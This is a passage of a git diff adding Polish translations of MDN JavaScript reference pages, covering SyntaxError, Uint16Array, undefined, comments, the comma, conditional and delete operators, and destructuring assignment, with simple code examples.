Wiadomość błędu. Chociaż ECMA-262 mówi, że {{jsxref("SyntaxError")}} powinien dostarczać własną właściwość message, w SpiderMonkey jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
+
Nazwa błędu. Odziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
+
Ścieżka do pliku zawierającego błąd. Odziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
+
Numer zawierającej błąd linii w pliku. Odziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
+
Numer zawierającej błąd kolumny w linii kodu. Odziedziczone z {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
+
Stos wywołań. Odziedziczone z {{jsxref("Error")}}.
+
+ +

Przykłady

+ +

Obsługa SyntaxError

+ +
try {
+  eval('hoo bar');
+} catch (e) {
+  console.error(e instanceof SyntaxError);
+  console.error(e.message);
+  console.error(e.name);
+  console.error(e.fileName);
+  console.error(e.lineNumber);
+  console.error(e.columnNumber);
+  console.error(e.stack);
+}
+
+ +

Tworzenie SyntaxError

+ +
try {
+  throw new SyntaxError('Hej', 'jakisPlik.js', 10);
+} catch (e) {
+  console.error(e instanceof SyntaxError); // true
+  console.error(e.message);                // Hej
+  console.error(e.name);                   // SyntaxError
+  console.error(e.fileName);               // jakisPlik.js
+  console.error(e.lineNumber);             // 10
+  console.error(e.columnNumber);           // 0
+  console.error(e.stack);                  // @debugger eval code:3:9
+}
+
+ +

Specyfikacje

+ + + + + + + + + + + + +
Specyfikacja
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}
+ +

Wsparcie przeglądarek

+ +
+ + +

{{Compat("javascript.builtins.SyntaxError")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/uint16array/index.html b/files/pl/web/javascript/reference/global_objects/uint16array/index.html new file mode 100644 index 0000000000..ef744c5848 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/uint16array/index.html @@ -0,0 +1,224 @@ +--- +title: Uint16Array +slug: Web/JavaScript/Referencje/Obiekty/Uint16Array +translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array +--- +
{{JSRef("Global_Objects", "TypedArray", "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array")}}
+ +

Summary

+ +

The Uint16Array typed array represents an array of 16-bit unsigned integers in the platform byte order. If control over byte order is needed, use {{jsxref("DataView")}} instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).

+ +

Syntax

+ +
Uint16Array(length);
+Uint16Array(typedArray);
+Uint16Array(object);
+Uint16Array(buffer [, byteOffset [, length]]);
+ +

For more information about the constructor syntax and the parameters, see TypedArray.

+ +

Properties

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}
+
Returns a number value of the element size. 2 in the case of an Uint16Array.
+
Uint16Array.length
+
Length property whose value is 3.
+
{{jsxref("TypedArray.name", "Uint16Array.name")}}
+
Returns the string value of the constructor name. In the case of the Uint16Array type: "Uint16Array".
+
{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}
+
Prototype for the TypedArray objects.
+
+ +

Methods

+ +
+
{{jsxref("TypedArray.from", "Uint16Array.from()")}}
+
Creates a new Uint16Array from an array-like or iterable object. See also {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Uint16Array.of()")}}
+
Creates a new Uint16Array with a variable number of arguments. See also {{jsxref("Array.of()")}}.
+
+ +

Uint16Array prototype

+ +

All Uint16Array objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Properties

+ +
+
Uint16Array.prototype.constructor
+
Returns the function that created an instance's prototype. This is the Uint16Array constructor by default.
+
{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}
+
Returns the {{jsxref("ArrayBuffer")}} referenced by the Uint16Array Fixed at construction time and thus read only.
+
{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}
+
Returns the length (in bytes) of the Uint16Array from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus read only.
+
{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}
+
Returns the offset (in bytes) of the Uint16Array from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus read only.
+
{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}
+
Returns the number of elements hold in the Uint16Array. Fixed at construction time and thus read only.
+
+ +

Methods

+ +
+
{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}
+
Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}
+
Returns a new Array Iterator object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}
+
Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}
+
Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}
+
Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}
+
Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found. See also {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}
+
Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}
+
Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}} {{experimental_inline}}
+
Determines whether a typed array includes a certain element, returning true or false as appropriate. See also {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}
+
Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}
+
Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}
+
Returns a new Array Iterator that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}
+
Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}
+
Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}
+
Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}
+
Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}
+
Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}
+
Stores multiple values in the typed array, reading input values from a specified array.
+
{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}
+
Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}
+
Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}
+
Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}
+
Returns a new Uint16Array from the given start and end element index.
+
{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}
+
Returns a new Array Iterator object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}
+
Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}
+
Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}
+
Returns a new Array Iterator object that contains the values for each index in the array.
+
+ +

Examples

+ +
// From a length
+var uint16 = new Uint16Array(2);
+uint16[0] = 42;
+console.log(uint16[0]); // 42
+console.log(uint16.length); // 2
+console.log(uint16.BYTES_PER_ELEMENT); // 2
+
+// From an array
+var arr = new Uint16Array([21,31]);
+console.log(arr[1]); // 31
+
+// From another TypedArray
+var x = new Uint16Array([21, 31]);
+var y = new Uint16Array(x);
+console.log(y[0]); // 21
+
+// From an ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint16Array(buffer, 0, 4);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
Typed Array SpecificationObsoleteSuperseded by ECMAScript 6.
{{SpecName('ES6', '#table-45', 'TypedArray constructors')}}{{Spec2('ES6')}}Initial definition in an ECMA standard.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7.0{{ CompatGeckoDesktop("2") }}1011.65.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("2") }}1011.64.2
+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/undefined/index.html b/files/pl/web/javascript/reference/global_objects/undefined/index.html new file mode 100644 index 0000000000..9b9460985f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/undefined/index.html @@ -0,0 +1,40 @@ +--- +title: undefined +slug: Web/JavaScript/Referencje/Obiekty/undefined +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/undefined +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Wartość niezdefiniowana.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Składnia

+ +
undefined
+ +

Opis

+ +

undefined jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.

+ +

Zmienna, której nie przypisano wartości, jest typu undefined. Metoda lub wyrażenie zwraca undefined, jeśli wyliczana zmienna nie posiada wartości.

+ +

Można wykorzystać undefined do zbadania, czy dana zmienna ma wartość. W poniższym kodzie zmienna x nie jest zdefiniowana i wyrażenie if ma wartość "prawda" (true).

+ +
var x;
+if (x === undefined) {
+   // polecenia tu umieszczone są wykonywane
+} else {
+   // polecenia tu umieszczone nie są wykonywane
+}
+
+ +

undefined jest także wartością prostą.

diff --git a/files/pl/web/javascript/reference/index.html b/files/pl/web/javascript/reference/index.html new file mode 100644 index 0000000000..e493d4ad80 --- /dev/null +++ b/files/pl/web/javascript/reference/index.html @@ -0,0 +1,70 @@ +--- +title: Dokumentacja referencyjna JavaScript +slug: Web/JavaScript/Referencje +tags: + - AJAX + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference +--- +

{{JsSidebar}}

+ +

Ta część rozdziału JavaScript na MDN służy jako repozytorium faktów dotyczących jezyka JavaScript. Więcej na ten temat na stronie O dokumentacji referencyjnej.
+  

+ +

Obiekty globalne

+ +

W tym rozdziale udokumentowano wszystkie standardowe wbudowane obiekty JavaScript, wraz z ich metodami i właściwościami.
+  

+ +

{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard_objects_by_category')}}

+ +

Instrukcje

+ +

Rozdział ten dokumentuje wszystkie  deklaracje i instrukcje JavaScript.

+ +

{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}

+ +

 

+ +

Wyrażenia i operatory

+ +

Udokumentowano tu wszystkie wyrażenie i operatory JavaScript.

+ +

{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}

+ +

 

+ +

Funkcje

+ +

W tym rozdziale opisano pracę z funkcjami JavaScript przy tworzeniu aplikacji.

+ + + +

 

+ +

Dodatkowe strony z informacjami

+ + + +

 

+ +

 

+ +

 

+ +

 

+ +

 

diff --git a/files/pl/web/javascript/reference/lexical_grammar/index.html b/files/pl/web/javascript/reference/lexical_grammar/index.html new file mode 100644 index 0000000000..ad8e73f32c --- /dev/null +++ b/files/pl/web/javascript/reference/lexical_grammar/index.html @@ -0,0 +1,55 @@ +--- +title: Komentarz +slug: Web/JavaScript/Referencje/Komentarz +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Lexical_grammar#Comments +translation_of_original: Web/JavaScript/Reference/Code_comments +--- +

 

+

Podsumowanie

+

Uwagi od programisty wyjaśniające działanie kodu. Komentarze są ignorowane przez interpreter.

+ + + + + + + + + + + + + + +
Komentarze
Zaimplementowane w:JavaScript 1.0, NES2.0
Wersja ECMA:ECMA-262
+

Składnia

+

// tekst komentarza

+

/* wieloliniowy tekst komentarza */

+

Opis

+

JavaScript obsługuje komentarze w stylu Javy:

+ +

Przykłady

+

Przykład: Komentarz jednoliniowy

+
// To jest komentarz jednoliniowy.
+var intAge = 37; //To jest inny komentarz
+
+

Przykład: Komentarz wieloliniowy

+
/* To jest komentarz wieloliniowy.
+   Może być dowolnie długi i zawierać dowolne znaki,
+   za wyjątkiem innych komentarzy wieloliniowych. */
+
+

 

+
+  
+

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Comments/comment", "es": "es/Referencia_de_JavaScript_1.5/Comentarios/comentario", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Commentaires", "ja": "ja/Core_JavaScript_1.5_Reference/Comments/comment" } ) }}

diff --git a/files/pl/web/javascript/reference/operators/comma_operator/index.html b/files/pl/web/javascript/reference/operators/comma_operator/index.html new file mode 100644 index 0000000000..b037dcfdc8 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/comma_operator/index.html @@ -0,0 +1,37 @@ +--- +title: Operator przecinkowy +slug: Web/JavaScript/Referencje/Operatory/Operator_przecinkowy +tags: + - JavaScript + - Operator + - Przecinek + - Przecinkowy +translation_of: Web/JavaScript/Reference/Operators/Comma_Operator +--- +
{{jsSidebar("Operators")}}
+ +

+ +

Operator przecinkowy wykonuje wszystkie argumenty i zwraca wynik ostatniego argumentu.

+ +

Składnia

+ +
wyr1, wyr2, wyr3...
+ +

Parametry

+ +
+
wyr1, wyr2, wyr3
+
Wyrażenia, z których jedynie ostatnie jest zwracane.
+
+ +

Opis

+ +

Możemy zastosować operator przecinkowy, kiedy chcemy utworzyć wyrażenie składające się z kilku wyrażeń. Operator przecinkowy jest chyba najczęściej używany w instrukcji pętli for.

+ +

Na przykład, jeśli a jest tablicą dwuwymiarową z 10 elementami w sobie, następujący kod użyje operatora przecinkowego do zwiększenia dwóch zmiennych na raz. Kod wypisze wartości elementów ułożonych po przekątnej w tablicy:

+ +
var a = [[]];
+for (var i=0, j=9; i <= 9; i++, j--)
+   console.log("a["+i+","+j+"]= " + a[i,j])
+
diff --git a/files/pl/web/javascript/reference/operators/conditional_operator/index.html b/files/pl/web/javascript/reference/operators/conditional_operator/index.html new file mode 100644 index 0000000000..b5b00d0aa1 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/conditional_operator/index.html @@ -0,0 +1,34 @@ +--- +title: Operator warunkowy +slug: Web/JavaScript/Referencje/Operatory/Operator_warunkowy +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator +--- +
{{jsSidebar("Operators")}}
+ +

Operator warunkowy jest jedynym operatorem w JavaScript, który pobiera trzy argumenty. Operator jest często stosowany jako skrócenie instrukcji if.

+ +

Składnia

+ +
warunek ? wyr1 : wyr2 
+ +

Parametry

+ +
+
warunek
+
Wyrażenie, które sprawdza czy warunek jest spełniony (true lub false).
+
+ +
+
wyr1, wyr2
+
Wyrażenia z wartością jakiegoś typu.
+
+ +

Opis

+ +

Jeśli warunek jest true, operator zwraca wartość wyr1; w przeciwnym razie zwraca wartość wyr2. Na przykład, do wyświetlenia różnych wiadomości opartych na wartości zmiennej isMember, będziesz mógł zastosować poniższą instrukcję:

+ +
console.log("Opłata wynosi " + (isMember ? "$2.00" : "$10.00"));
+console.log("Opłata wynosi " + (zarejestrowany == 1) ? "$2.00" : "$10.00");
+
diff --git a/files/pl/web/javascript/reference/operators/delete/index.html b/files/pl/web/javascript/reference/operators/delete/index.html new file mode 100644 index 0000000000..d2a3679804 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/delete/index.html @@ -0,0 +1,74 @@ +--- +title: Operator delete +slug: Web/JavaScript/Referencje/Operatory/Operator_delete +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Operators/delete +--- +
{{jsSidebar("Operators")}}
+ +

Operator delete usuwa obiekt, własność obiektu lub element w określonym indeksie w tablicy.

+ +

Składnia

+ +
delete  nazwaObiektu
+
+ +
delete nazwaObiektu.własność
+delete nazwaObiektu['własność']
+
+ +

Parametry

+ +
+
nazwaObiektu
+
Nazwa obiektu.
+
+ +
+
własność
+
Własność do usunięcia.
+
+ +

Opis

+ +

Czwarta forma jest dozwolona tylko wewnątrz instrukcji with w celu usunięcia własności z obiektu.

+ +

Możesz użyć operatora delete, aby usunąć zmienne zadeklarowane bezpośrednio, jednak nie możesz usunąć zmiennych zadeklarowanych za pomocą instrukcji var.

+ +

Jeśli operator delete zadziała prawidłowo, ustawi on własność lub element jako undefined (niezdefiniowany). Operator delete zwraca wartość true (prawda), jeśli operacja jest możliwa, zaś wartość false (fałsz), gdy operacja nie jest możliwa.

+ +
x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4;      // tworzy własność h
+delete x;         // zwraca true (można usuwać, jeśli zadeklarowano bezpośrednio)
+delete y;         // zwraca false (nie można usuwać, jeśli zadeklarowano za pomocą var)
+delete Math.PI;   // zwraca false (nie można usuwać własności predefiniowanych)
+delete myobj.h;   // zwraca true (można usuwać własności zdefiniowane przez użytkownika)
+delete myobj;     // zwraca true (można usuwać obiekty)
+
+ +

Usuwanie elementów tablicy

+ +

Gdy usuwasz element tablicy nie ma to wpływu na jej długość. Na przykład: jeśli usuniesz a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} będzie wciąż a{{ mediawiki.external(4) }}, natomiast a{{ mediawiki.external(3) }} będzie niezdefiniowane.

+ +

Gdy operator delete usuwa element tablicy, element ten przestaje już w niej istnieć. W poniższym przykładzie drzewa{{ mediawiki.external(3) }} jest usunięte za pomocą delete.

+ +
drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
+delete drzewa[3];
+if (3 in drzewa) {
+   // to nie zostanie wykonane
+}
+
+ +

Jeśli chcesz, aby element tablicy nadal istniał, ale posiadał wartość niezdefiniowaną, użyj słowa kluczowego undefined zamiast operatora delete. W poniższym przykładzie, drzewa{{ mediawiki.external(3) }} jest przypisana wartość niezdefiniowana, ale element tablicy nadal istnieje:

+ +
drzewa = new Array("sekwoja","wawrzyn","cedr","dąb","klon");
+drzewa[3] = undefined;
+if (3 in drzewa) {
+   // to zostanie wykonane
+}
+
+ +
 
diff --git a/files/pl/web/javascript/reference/operators/destructuring_assignment/index.html b/files/pl/web/javascript/reference/operators/destructuring_assignment/index.html new file mode 100644 index 0000000000..851acea725 --- /dev/null +++ b/files/pl/web/javascript/reference/operators/destructuring_assignment/index.html @@ -0,0 +1,493 @@ +--- +title: Przypisanie destrukturyzujące +slug: Web/JavaScript/Referencje/Operatory/Destructuring_assignment +translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment +--- +
{{jsSidebar("Operators")}}
+ +

Składnia przypisania destrukturyzującego jest wyrażeniem w JavaScript, które pozwala na wyciągnięcie danych z tablic bądź obiektów do odrębnych zmiennych.

+ +

Składnia

+ +
var a, b, rest;
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+
+[a, b, ...rest] = [1, 2, 3, 4, 5];
+console.log(a); // 1
+console.log(b); // 2
+console.log(rest); // [3, 4, 5]
+
+({a, b} = {a:1, b:2});
+console.log(a); // 1
+console.log(b); // 2
+
+// ES2016 - nie zaimplementowane w przeglądarce Firefox 47a01
+({a, b, ...rest} = {a:1, b:2, c:3, d:4}); 
+ +

Opis

+ +

Wyrażenie literału obiektowego i tablicowego umożliwiają łatwe tworzenie paczek danych ad-hoc

+ +
var x = [1, 2, 3, 4, 5];
+ +

Składnia przypisania destrukturyzacyjnego używa podobnej składni, ale z lewej strony przypisania definiujemy, które elementy wyciągnąć ze zmiennej źródłowej.

+ +
var x = [1, 2, 3, 4, 5];
+var [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+
+ +

Funkcjonalność ta jest podobna do tych obecnych w językach takich jak Perl i Python.

+ +

Destrukturyzacja tablic

+ +

Podstawowe przypisanie zmiennych

+ +
var foo = ["one", "two", "three"];
+
+var [one, two, three] = foo;
+console.log(one); // "one"
+console.log(two); // "two"
+console.log(three); // "three"
+
+ +

Przypisanie oddzielne od deklaracji

+ +

Zmiennej można przypisać wartość poprzez destrukturyzację oddzielnie od deklaracji tej zmiennej.

+ +
var a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+
+ +

Domyślne wartości

+ +

Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z tablicy jest niezdefiniowana - undefined.

+ +
var a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+
+ +

Zamiana zmiennych

+ +

Dwie zmienne mogą zamienić się miejscami przy wykorzystaniu jednego wyrażenia destrukturyzującego.

+ +

Bez wyrażenia destrukturyzującego, zamiana zmiennych wymaga zmiennej tymaczasowej (bądź, w niektórych językach niskiego poziomu, tricku XOR-swap).

+ +
var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+
+ +

Parsowanie tablicy zwróconej przez funkcję

+ +

Zwrócenie tablicy poprzez funkcję zawsze było możliwe. Destrukturyzacja może sprawić, że praca ze zwróconymi wartościami typu array będzie bardziej zwięzła.

+ +

W tym przykładzie, f() zwraca wartości [1, 2] jako jej wyjście, mogą one być sparsowane w jednej linijce poprzez użycie destrukturyzacji.

+ +
function f() {
+  return [1, 2];
+}
+
+var a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+
+ +

Ignorowanie niektórych zwróconych wartości

+ +

Możesz zignorować zwrócone wartości, którymi nie jesteś zainteresowany.

+ +
function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+
+ +

Możesz także zignorować wszystkie zwrócone wartości:

+ +
[,,] = f();
+
+ + + +

Przypisanie reszty tablicy do zmiennej

+ +

Podczas destrukturyzacji array'a możesz wypakować i przypisać jego pozostałą część do zmiennej używając operatora reszty:

+ +
var [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]
+ +

Zwróć uwagę, że zostanie wyrzucony {{jsxref("SyntaxError")}} jeśli końcowy przecinek będzie użyty z prawej strony wyrażenia z elementem reszty: 

+ +
var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma
+ +

Wypakowywanie wartości z wyników wyrażenia regularnego

+ +

Gdy metoda wyrażenia regularnego  exec() znajdzie pasujący element, zwraca ona tablicę zawierającą kolejno cały string zawierajacy pasujące elementy, a później elementy stringa, które pasowały do każdej grupy wyrażenia regularnego znajdującej się w nawiasach. Wyrażenie destrukturyzujące pozwala na łatwe wypakowanie elementów tej tablicy ignorując pełny string, gdy nie jest on potrzebny. 

+ +
function parseProtocol(url) {
+  var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+  var [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
+ +

Destrukturyzacja obiektów

+ +

Podstawowe przypisanie

+ +
var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+
+ +

Przypisanie bez deklaracji

+ +

Zmiennej można przypisać wartość poprzez destrukturyazację oddzielnie od deklaracji tej zmiennej.

+ +
var a, b;
+
+({a, b} = {a:1, b:2});
+ +
+

Nawiasy( .. ) na krawędziach wyrażenia przypisania są składnią wymaganą podczas używania wyrażenia destrukturyzującego literał obiektowy bez deklaracji.

+ +

{a, b} = {a:1, b:2} nie jest poprawną składnią samą w sobie, ponieważ {a, b} z lewej strony wyrażenia jest odbierana jako blok, a nie literał obiektowy.

+ +

Ale już, ({a, b} = {a:1, b:2}) jest poprawne, tak samo jak var {a, b} = {a:1, b:2}

+
+ +

Przypisanie do nowych nazw zmiennych

+ +

Zmienna może być wyciągnięta z obiektu i przypisana do zmiennej z inną nazwą niż nazwa właściwości obiektu.

+ +
var o = {p: 42, q: true};
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true  
+ +

Wartości domyślne

+ +

Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z obiektu jest undefined.

+ +
var {a=10, b=5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5
+ + + +

Przypisywanie do nowych nazw zmiennych i zapewnienie wartości domyślnych

+ +

Właściwość może być zarówno 1) wypakowana z obiektu i przypisana do zmiennej z inną nazwą 2) może być jej przypisana wartość domyślna, gdy wypakowana wartość jest undefined.

+ +
var {a:aa = 10, b:bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+ + + +

Ustawianie domyślnej wartości parametru funkcji 

+ +

Wersja ES5

+ +
function drawES5Chart(options) {
+  options = options === undefined ? {} : options;
+  var size = options.size === undefined ? 'big' : options.size;
+  var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
+  var radius = options.radius === undefined ? 25 : options.radius;
+  console.log(size, cords, radius);
+  // now finally do some chart drawing
+}
+
+drawES5Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});
+ +

Wersja ES2015 (ES6)

+ +
function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
+  console.log(size, cords, radius);
+  // do some chart drawing
+}
+
+// In Firefox, default values for destructuring assignments are not yet implemented (as described below).
+// The workaround is to write the parameters in the following way:
+// ({size: size = 'big', cords: cords = { x: 0, y: 0 }, radius: radius = 25} = {})
+
+drawES2015Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});
+ +
+

W definicji funkcji drawES2015Chart() powyżej, destrukturyzowana lewa strona wyrażenia jest przypisana do pustego literału obiektowego z prawej strony: {size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}. Można by było również napisać funkcję bez prawostronnego przypisania. Jednakże jeśli zostawisz prawą stroę przypisania, funkcja będzie szukać przynajmniej jednego argumentu podczas wywołania, natomiast w jej obecnej formie możesz po prostu wywołać drawES2015Chart() bez podawania parametrów. Ten sposób jest użyteczny gdy chcesz mieć możliwość wywołania funkcji bez podawania parametrów, ten drugi może być użyteczny, gdy chcesz być pewny, że obiekt został wprowadzony do funkcji.

+
+ +

Obiekt zagnieżdżony i destrukturyzacja tablic

+ +
var metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"
+ +

Iteracja for..of i destrukturyzacja

+ +
var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
